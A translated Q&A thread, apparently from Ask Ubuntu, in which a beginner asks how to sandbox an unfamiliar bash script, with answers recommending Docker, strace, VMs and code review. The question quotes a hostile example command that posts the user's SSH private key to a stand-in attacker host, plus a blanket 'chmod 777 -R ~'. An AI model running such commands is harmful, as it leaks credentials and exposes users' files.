Eu gostaria de instalar um certo script bash chamado 42FileChecker usando os comandos:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Mas não sei se o 42FileChecker.sh fará alguma coisa estranha no meu PC porque sou iniciante e não sei o que está acontecendo nesse script. Existe uma maneira de executá-lo em um terminal fictício ou em uma pasta raiz fictícia ou algo assim para ver o que acontece, para evitar algo louco como formatar minhas unidades. Eu gostaria de saber de alguma maneira de testar shells para futuros scripts de shell também, mesmo se 42FileChecker.sh estiver seguro.
man
páginas nos comandos contidos nele.chmod 777 -R ~
oucurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
ou similares.Respostas:
Eu não sou especialista nisso, mas eu recomendaria usar
strace
edocker
.Então, primeiro crie um contêiner Docker conforme as instruções nesta resposta . Mas a adição é que o strace lhe dirá quais chamadas do sistema são feitas. Ou para citar:
Você pode combinar esses comandos para
fonte
Se você não tiver certeza do que um script faz, é melhor não executá-lo até ter certeza do que ele faz. As formas de reduzir o raio de dano de um script incorreto incluem executá-lo usando um novo usuário, em um contêiner ou em uma máquina virtual. Mas essa primeira afirmação ainda é válida: se você não tiver certeza do que algo faz, considere executá-lo até que o faça.
fonte
Como o @ctt disse, provavelmente é uma boa ideia executá-lo em uma caixa de areia de algum tipo primeiro. Usar uma VM é provavelmente a solução mais fácil. Multipass é bastante simples.
Instale o multipass (supondo que você ainda não o tenha):
Gire uma nova VM:
Faça login na sua nova VM:
Em seguida, execute seu script (dentro da sua vm):
fonte
Como a escola que você frequenta publicou os scripts, o melhor lugar para expressar suas preocupações é com seus instrutores.
Dito isto, podemos ajudá-lo a decifrar o código linha por linha. Provavelmente, é impraticável para qualquer pessoa aqui analisar todo o código.
Na verdade, você tem 40 scripts de bash com um total de 5.360 linhas. Eu os combinei e procurei comandos bash / shell que poderiam ser abusados. Todos eles parecem ser usados normalmente :
rm -rf /
comando para limpar toda a partição do disco rígido.sudo
seja usado para executar o script.C
funções autorizadas sejam usadas nos arquivos verificados.github
página.42FileChecker
parece seguro de usar.Não são scripts bash legíveis por humanos que você precisa se preocupar tanto. São objetos binários compilados que você não pode ler que são motivo de preocupação. Por exemplo, um programa chamado "esfera brilhante e saltitante" pode pintar algo assim na tela, mas no fundo pode estar apagando todos os seus arquivos.
Resposta original
É melhor perguntar ao autor do script o que ele faz. Na verdade, você quase pode postar sua pergunta literalmente, como aparece acima.
Pergunte também ao autor:
E quaisquer outras boas perguntas que você possa pensar.
Editar 1 - Preocupações com um autor malicioso.
Você só deve usar software com muitas boas análises públicas. Como alternativa, os autores em que você confia aqui no Ask Ubuntu, como Serge, Jacob, Colin King, etc. Outros sites respeitados, como o Ask Ubuntu e seus membros respeitados, também devem ser considerados "não maliciosos".
A vantagem dos "autores respeitados" aqui no Ask Ubuntu é que eles apostam em seus "pontos de reputação". Se eles escrevessem intencionalmente código que "roubou" ou "danificou" dados, eles rapidamente perderiam sua reputação. De fato, os autores podem sofrer a "ira dos mods" e serem suspensos e / ou ter 10.000 pontos de reputação retirados.
Edição 2 - Não siga todas as instruções
Dei uma olhada mais profunda nas instruções do script bash:
O método "seguro" é executar apenas a primeira linha:
Isso baixa os scripts, mas não os executa. Em seguida, use
nautilus
(gerenciador de arquivos) para inspecionar os diretórios e arquivos instalados. Muito rapidamente você descobre que há uma coleção de scripts bash escritos por um grupo de estudantes na França.O objetivo dos scripts é compilar e testar programas C para funções inadequadas e vazamentos de memória.
fonte
~/42FileChecker/includes/display/display_credits.sh
obra estados do norminette é uma dependência:norminette (42 born2code) http://www.42.fr
. Eu li isso ontem à noite e foi por isso que escrevi que era uma escola (escola) na França que publicou o 42FileChecker . Pelo que procurei no código até agora, não me preocuparia em executá-lo. Além disso, há poucos erros de sintaxe relatados, oshellcheck
que é surpreendente para um script bash de 5.360 linhas. Muitos scripts bash publicados profissionalmente têm muitos erros de sintaxe.Você pode usar o Docker. Os contêineres do Docker são isolados do sistema operacional host, portanto, qualquer atividade mal-intencionada permanecerá dentro do contêiner, desde que você não o solte especificamente encaminhando portas ou montando sistemas de arquivos.
Para instalar a janela de encaixe:
Para baixar um novo contêiner Ubuntu Bionic:
Depois disso, faça o login no contêiner
e execute a operação desonesta:
fonte
docker diff
para visualizar quais alterações foram feitas no sistema de arquivos desde que você iniciou o contêiner. A desvantagem de usar o Docker é que o contêiner não é uma cópia completa do sistema host. A imagem do Ubuntu mencionada aqui contém apenas uma instalação mínima do Ubuntu.docker run ubuntu
executar, odocker run -it ubuntu:bionic
The-it
fornece um terminal interativo no contêiner e, nabionic
verdade, executa a versão desejada em vez da padrãolatest
.--memory
,--network
e talvez outros para realmente bloquear o script.Considere usar o modo de depuração executando o script como:
Mais informações úteis sobre o Bash
O modo de depuração não impedirá que o script faça algo ruim, mas permitirá que você percorra o script linha por linha e examine os efeitos. Você também pode verificar o script quanto a possíveis erros e / ou explorações em potencial, por exemplo, procure nos scripts por qualquer ocorrência
rm
e observe esses comandos com muita atenção. Muitas dessas ferramentas têm alguma ajuda construído em para experimentá-las, por exemplo, rm não irá excluir um diretório por padrão, ele precisa do-r
,-R
ou--recursive
opção de fazê-lo.Pode até haver algumas ferramentas semelhantes a antivírus que pesquisariam um script bash para esses padrões, mas não conheço nenhum por nome. Seus scripts de exemplo são meio que duvidosos, no sentido de baixarem outras ferramentas; portanto, cada uma delas também deve ser examinada. Verificar quais servidores eles contatam também pode valer a pena.
fonte
Infelizmente, as informações relevantes para fornecer uma resposta são encontradas apenas em um comentário seu:
Portanto, a situação é que, na prática, você tem a opção de ignorar o curso ou pode executar o script para executar verificações normativas em suas fontes. Conversar com seu instrutor dificilmente é uma opção, devido à falta do primeiro (não seria uma opção de qualquer maneira, nenhuma escola mudará seu procedimento porque um aluno não está satisfeito com isso).
A questão do que fazer para limitar os possíveis danos desse script, portanto, nem sequer surge. Não é um roteiro aleatório que uma garota excitada com seios grandes mandou um e-mail para você e que você precisa executar para ver a foto dela .
Você está fazendo uma aula de programação. esteé onde esse script entrou em cena. A questão é se você deseja ou não cumprir as condições do quadro para concluir com êxito o curso.
No entanto, se você estiver realmente preocupado, ainda há a possibilidade de executar o script em um contêiner ou em uma máquina virtual e colocar suas fontes em uma pasta compartilhada ou em um compartilhamento de rede exposto pelo contêiner / máquina virtual. Isso está praticamente no caminho completo da paranóia, mas, novamente, a virtualização não é tão complicada hoje em dia, por isso não custa muito.
Exceto a possibilidade improvável de uma exploração realmente dura contida nesse script, efetuando login como qualquer usuário não root (o que você dificilmente pode fazer no Ubuntu) e evitando digitar
sudo
sem motivo óbvio praticamente impede 99% de todas as coisas ruins que poderiam acontecer de qualquer maneira. Como formatar o disco rígido, com o qual você está preocupado. Um usuário normal simplesmente não pode fazer isso. O pior é que o script apaga o diretório inicial do usuário. Então, o que, não há problema, realmente.fonte
sudo
é necessário executar o script. +1sudo
apenas limita o escopo de exclusão / formatação acidental devido a bugs. Se o script foi malicioso ou explorável, a execuçãosudo
em um sistema de usuário único não faz diferença essencial.42FileChecker
então não sei dizer sesudo
é necessário ou não. O script bash não verifica o sudo e diz para você usá-lo. Parece que issosudo
não é necessário. Mais uma vez, acho que perguntar ao seu instrutor (professor) é a melhor política. Atualizei minha resposta há uma hora com uma pequena análise do script. Observe que o nome "mynorminette
" apareceu novamente no código.42FileChecker
. Acredito que conversar com os instrutores deixará sua mente à vontade. Depois de algumas horas investigando, tenho fé nos programadores e em suas criações. Jean-Michel Gigault ainda tem uma foto no github. Bastante testemunho de confiança em uma terra onde as sementes do Colete Amarelo estão crescendo. Viva La France! (et Ecole 42 :)) Faça-nos um favor e entre para dar atualizações de progresso.